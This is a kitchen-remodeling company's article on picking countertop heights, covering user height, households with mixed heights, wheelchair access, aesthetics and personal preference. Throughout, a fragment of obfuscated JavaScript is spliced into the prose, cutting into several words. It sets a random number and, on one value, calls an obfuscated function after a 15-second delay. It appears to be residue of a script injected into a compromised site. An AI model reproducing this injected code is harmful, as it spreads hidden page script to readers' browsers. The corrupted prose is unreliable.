For many homeowners the most important room in their house is the kitchen. We enjoy the thrill of working with new customers who want to explore their options with countertop materials. One of the most important features that every real estate agent agrees will improve the property value of their home is by remodeling the kitchen. While it may not sound pleasing to think about all the work your kitchen needs, the four main components of a kitchen remodel today include updating major appliances, installing new floors, upgrading or resurfacing kitchen cabinets andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} installing a new countertop. Today we will help you evaluate the important factors when you upgrade to new luxury countertops.

Today, many designers are going beyond the traditional trend of being predictable in terms of height. To help you make the process easy in deciding the height andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} accessibility of your kitchen countertop, you should consider the following details:

Your Height – Everyone needs to have their countertops to reach a custom height to allow them to work at a rate that is not straining to the body. In reality it is preferable for a countertop to fall just below the elbows, that way you do not need to hunch over while preparing food. To put things in perspective, a homeowner who standandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}s at 5 feet andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} 5 inches tall would preferably feel comfortable with a countertop height of 29 or 30 inches, instead of the traditional 36 inches.

Varying Heights for Multiple Users – We know that not everyone was born to standandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} over 6 feet tall, so if you have a household of users with various heights then it may be a great option to set a few countertops throughout the kitchen at a preferred height for everyone to use comfortably.

Special Needs – Your countertops should be set to a height that is made with respect to users with disabilities, such as those who require access at a wheelchair height. This is an important feature to consider for future homeowners considering making an offer on your home.

Aesthetics – Luxury quartz countertops that rise or drop at various sections throughout the kitchen can bring a pleasingly aesthetic finish that blends perfectly with the linear shapes throughout the kitchen.

Personal Preferences – Although short countertops may technically be better for shorter than the average height users or they may be suitable for much taller customers, but that may not be your cup of tea. If you do not find any problems with the height of your current kitchen countertops, then perhaps we will not need to change a thing in regards to the height because in the end it is up to you to decide.
